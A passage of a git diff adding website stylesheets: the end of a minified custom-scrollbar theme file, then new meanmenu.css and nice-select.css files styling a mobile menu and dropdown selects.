top,color-stop(0,rgba(255,255,255,.5)),color-stop(100%,rgba(255,255,255,0)));background-image:-webkit-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-o-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-ms-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:linear-gradient(to right,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%)}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{background-repeat:repeat-x;background-image:-moz-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,rgba(255,255,255,.5)),color-stop(100%,rgba(255,255,255,0)));background-image:-webkit-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-o-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-ms-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:linear-gradient(to bottom,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%)}.mCS-3d-dark.mCSB_scrollTools_vertical .mCSB_dragger,.mCS-3d.mCSB_scrollTools_vertical .mCSB_dragger{height:70px}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger{width:70px}.mCS-3d-dark.mCSB_scrollTools,.mCS-3d.mCSB_scrollTools{opacity:1;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)"}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_draggerRail{-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px}.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools .mCSB_draggerRail{width:8px;background-color:#000;background-color:rgba(0,0,0,.2);box-shadow:inset 1px 0 1px rgba(0,0,0,.5),inset -1px 0 1px rgba(255,255,255,.2)}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#555}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:8px}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:8px;margin:4px 0;box-shadow:inset 0 1px 1px rgba(0,0,0,.5),inset 0 -1px 1px rgba(255,255,255,.2)}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:8px;margin:4px auto}.mCS-3d.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-3d.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-3d.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-3d.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);box-shadow:inset 1px 0 1px rgba(0,0,0,.1)}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail{box-shadow:inset 0 1px 1px rgba(0,0,0,.1)}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCS-3d-thick-dark.mCSB_scrollTools,.mCS-3d-thick.mCSB_scrollTools{opacity:1;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)"}.mCS-3d-thick-dark.mCSB_scrollTools,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer,.mCS-3d-thick.mCSB_scrollTools,.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer{-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px}.mCSB_inside+.mCS-3d-thick-dark.mCSB_scrollTools_vertical,.mCSB_inside+.mCS-3d-thick.mCSB_scrollTools_vertical{right:1px}.mCS-3d-thick-dark.mCSB_scrollTools_vertical,.mCS-3d-thick.mCSB_scrollTools_vertical{box-shadow:inset 1px 0 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.5)}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal,.mCS-3d-thick.mCSB_scrollTools_horizontal{bottom:1px;box-shadow:inset 0 1px 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.5)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;box-shadow:inset 1px 0 0 rgba(255,255,255,.4);width:12px;margin:2px;position:absolute;height:auto;top:0;bottom:0;left:0;right:0}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 0 1px 0 rgba(255,255,255,.4);height:12px;width:auto}.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#555}.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer{background-color:#000;background-color:rgba(0,0,0,.05);box-shadow:inset 1px 1px 16px rgba(0,0,0,.1)}.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-3d-thick-dark.mCSB_scrollTools{box-shadow:inset 0 0 14px rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal{box-shadow:inset 0 1px 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 1px 0 0 rgba(255,255,255,.4),inset -1px 0 0 rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 0 1px 0 rgba(255,255,255,.4),inset 0 -1px 0 rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#777}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer{background-color:#fff;background-color:rgba(0,0,0,.05);box-shadow:inset 1px 1px 16px rgba(0,0,0,.1)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-minimal-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-minimal.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical,.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical{right:0;margin:12px 0}.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools.mCSB_scrollTools_horizontal{bottom:0;margin:0 12px}.mCS-dir-rtl>.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical,.mCS-dir-rtl>.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical{left:0;right:auto}.mCS-minimal-dark.mCSB_scrollTools_vertical .mCSB_dragger,.mCS-minimal.mCSB_scrollTools_vertical .mCSB_dragger{height:50px}.mCS-minimal-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-minimal.mCSB_scrollTools_horizontal .mCSB_dragger{width:50px}.mCS-minimal.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.2);filter:"alpha(opacity=20)";-ms-filter:"alpha(opacity=20)"}.mCS-minimal.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-minimal.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.5);filter:"alpha(opacity=50)";-ms-filter:"alpha(opacity=50)"}.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.2);filter:"alpha(opacity=20)";-ms-filter:"alpha(opacity=20)"}.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.5);filter:"alpha(opacity=50)";-ms-filter:"alpha(opacity=50)"}.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools .mCSB_draggerRail{width:6px;background-color:#000;background-color:rgba(0,0,0,.2)}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px}.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:6px;margin:5px 0}.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:12px}.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:12px;margin:2px 0}.mCS-light-3.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-light-3.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-light-3.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-light-3.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1)}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset.mCSB_scrollTools .mCSB_draggerRail{width:12px;background-color:#000;background-color:rgba(0,0,0,.2)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px;margin:3px 5px;position:absolute;height:auto;top:0;bottom:0;left:0;right:0}.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{height:6px;margin:5px 3px;position:absolute;width:auto;top:0;bottom:0;left:0;right:0}.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:12px;margin:2px 0}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent;border-width:1px;border-style:solid;border-color:#fff;border-color:rgba(255,255,255,.2);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail{border-color:#000;border-color:rgba(0,0,0,.2)}.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.6)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.6)}.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-inset-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.75)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9)}
\ No newline at end of file
diff --git a/public/css/meanmenu.css b/public/css/meanmenu.css
new file mode 100644
index 0000000..8f38ad1
--- /dev/null
+++ b/public/css/meanmenu.css
@@ -0,0 +1,179 @@
+/*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/
+
+a.meanmenu-reveal {
+     display: none;
+}
+
+.mean-container .mean-bar {
+     background: #308409;
+     float: left;
+     min-height: 40px;
+     padding: 5px 0;
+     position: relative;
+     width: 100%;
+     z-index: 999;
+}
+
+.mean-container a.meanmenu-reveal {
+     color: #fff;
+     cursor: pointer;
+     display: block;
+     font-family: 'Roboto', sans-serif;
+     font-weight: 400;
+     height: 22px;
+     line-height: 22px;
+     position: absolute;
+     right: 12px;
+     text-decoration: none;
+     top: 12px;
+     width: 26px;
+}
+
+.mean-container a.meanmenu-reveal span {
+     background: #ffffff none repeat scroll 0 0;
+     border-radius: 0;
+     display: block;
+     height: 4px;
+     margin-top: 3px;
+     width: auto;
+}
+
+.mean-container a.meanmenu-reveal span:first-child {
+     margin: 0
+}
+
+.mean-container .mean-nav {
+     background: #ffffff none repeat scroll 0 0;
+     float: left;
+     margin-top: 44px;
+     width: 100%;
+}
+
+.mean-container .mean-nav ul {
+     padding: 0;
+     margin: 0;
+     width: 100%;
+     list-style-type: none;
+}
+
+.mean-container .mean-nav ul li {
+     position: relative;
+     float: left;
+     width: 100%;
+}
+
+.mean-container .mean-nav ul li a {
+     border-bottom: 1px solid #ccc;
+     color: #383838;
+     display: block;
+     float: left;
+     font-size: 12px;
+     font-weight: 500;
+     margin: 0;
+     padding: 1em 5%;
+     text-align: left;
+     text-decoration: none;
+     text-transform: uppercase;
+     width: 90%;
+}
+
+.mean-container .mean-nav ul li a:hover {
+     color: #38c8a8;
+}
+
+.mean-container .mean-nav ul li li a {
+     width: 80%;
+     padding: 1em 10%;
+     border-top: 1px solid #ccc;
+     border-top: 1px solid #ccc;
+     opacity: 1;
+     filter: alpha(opacity=1);
+     text-shadow: none !important;
+     visibility: visible;
+}
+
+.mean-container .mean-nav ul li.mean-last a {
+     border-bottom: 1px solid #cccccc;
+     margin-bottom: 0;
+}
+
+.mean-container .mean-nav ul li li li a {
+     width: 70%;
+     padding: 1em 15%;
+}
+
+.mean-container .mean-nav ul li li li li a {
+     width: 60%;
+     padding: 1em 20%;
+}
+
+.mean-container .mean-nav ul li li li li li a {
+     width: 50%;
+     padding: 1em 25%;
+}
+
+.mean-container .mean-nav ul li a:hover {
+     ` background: #252525;
+     background: rgba(255, 255, 255, 0.1);
+}
+
+.mean-container .mean-nav ul li a.mean-expand {
+     background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0;
+     border: medium none;
+     font-weight: 400;
+     height: 22px;
+     line-height: 22px;
+     margin-top: 1px;
+     padding: 12px 16px;
+     position: absolute;
+     right: 0;
+     text-align: center;
+     top: -1px;
+     width: 17px;
+     z-index: 2;
+     font-size: 18px !important;
+}
+
+.mean-container .mean-nav ul li a.mean-expand:hover {
+     background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0;
+     color: #ffffff;
+}
+
+.mean-container .mean-push {
+     float: left;
+     width: 100%;
+     padding: 0;
+     margin: 0;
+     clear: both;
+}
+
+.mean-nav .wrapper {
+     width: 100%;
+     padding: 0;
+     margin: 0;
+}
+
+.mean-container .mean-bar,
+.mean-container .mean-bar * {
+     -webkit-box-sizing: content-box;
+     -moz-box-sizing: content-box;
+     box-sizing: content-box;
+}
+
+.mean-remove {
+     display: none !important;
+}
+
+.mean-nav span {
+     display: none;
+}
+
+.mean-container .mean-nav ul li a.mean-expand:hover,
+.mean-container .mean-nav ul li a.mean-expand:focus {
+     background: #38c8a8;
+     color: #ffffff;
+}
+
+.mean-container .mean-nav ul li a:hover {
+     color: #308409;
+}
diff --git a/public/css/nice-select.css b/public/css/nice-select.css
new file mode 100644
index 0000000..fc075ce
--- /dev/null
+++ b/public/css/nice-select.css
@@ -0,0 +1,177 @@
+/*---------------------------------------------------------------------
+    File Name: nice-select.css
+---------------------------------------------------------------------*/
+
+.nice-select {
+  background-color: #f6f6f6;
+  border-radius: 0;
+  box-sizing: border-box;
+  clear: both;
+  display: block;
+  float: left;
+  height: auto;
+  outline: none;
+  padding-left: 20px;
+  padding-right: 35px;
+  position: relative;
+  -webkit-transition: all 0.2s ease-in-out;
+  transition: all 0.2s ease-in-out;
+  -webkit-user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+  width: 50%;
+  cursor: pointer;
+  font-family: inherit;
+  font-weight: normal;
+  line-height: 50px;
+  text-align: left !important;
+  white-space: nowrap;
+  font-weight: 300;
+}
+
+.nice-select:after {
+  border-bottom: 2px solid #999;
+  border-right: 2px solid #999;
+  content: '';
+  display: block;
+  height: 5px;
+  margin-top: -4px;
+  pointer-events: none;
+  position: absolute;
+  right: 12px;
+  top: 50%;
+  -webkit-transform-origin: 66% 66%;
+  -ms-transform-origin: 66% 66%;
+  transform-origin: 66% 66%;
+  -webkit-transform: rotate(45deg);
+  -ms-transform: rotate(45deg);
+  transform: rotate(45deg);
+  -webkit-transition: all 0.15s ease-in-out;
+  transition: all 0.15s ease-in-out;
+  width: 5px;
+}
+
+.nice-select.open:after {
+  -webkit-transform: rotate(-135deg);
+  -ms-transform: rotate(-135deg);
+  transform: rotate(-135deg);
+}
+
+.nice-select.open .list {
+  opacity: 1;
+  pointer-events: auto;
+  -webkit-transform: scale(1) translateY(0);
+  -ms-transform: scale(1) translateY(0);
+  transform: scale(1) translateY(0);
+}
+
+.nice-select.disabled {
+  border-color: #ededed;
+  color: #999;
+  pointer-events: none;
+}
+
+.nice-select.disabled:after {
+  border-color: #cccccc;
+}
+
+.nice-select.wide {
+  width: 100%;
+}
+
+.nice-select.wide .list {
+  left: 0 !important;
+  right: 0 !important;
+}
+
+.nice-select.right {
+  float: right;
+}
+
+.nice-select.right .list {
+  left: auto;
+  right: 0;
+}
+
+.nice-select.small {
+  font-size: 12px;
+  height: 36px;
+  line-height: 34px;
+}
+
+.nice-select.small:after {
+  height: 4px;
+  width: 4px;
+}
+
+.nice-select.small .option {
+  line-height: 34px;
+  min-height: 34px;
+}
+
+.nice-select .list {
+  background-color: #fff;
+  border-radius: 5px;
+  box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11);
+  box-sizing: border-box;
+  margin-top: 4px;
+  opacity: 0;
+  overflow: hidden;
+  padding: 0;
+  pointer-events: none;
+  position: absolute;
+  top: 100%;
+  left: 0;
+  -webkit-transform-origin: 50% 0;
+  -ms-transform-origin: 50% 0;
+  transform-origin: 50% 0;
+  -webkit-transform: scale(0.75) translateY(-21px);
+  -ms-transform: scale(0.75) translateY(-21px);
+  transform: scale(0.75) translateY(-21px);
+  -webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
+  transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
+  z-index: 9;
+}
+
+.nice-select .list:hover .option:not(:hover) {
+  background-color: transparent !important;
+}
+
+.nice-select .option {
+  cursor: pointer;
+  font-weight: 400;
+  line-height: 40px;
+  list-style: none;
+  min-height: 40px;
+  outline: none;
+  padding-left: 18px;
+  padding-right: 29px;
+  text-align: left;
+  -webkit-transition: all 0.2s;
+  transition: all 0.2s;
+}
+
+.nice-select .option:hover,
+.nice-select .option.focus,
+.nice-select .option.selected.focus {
+  background-color: #f6f6f6;
+}
+
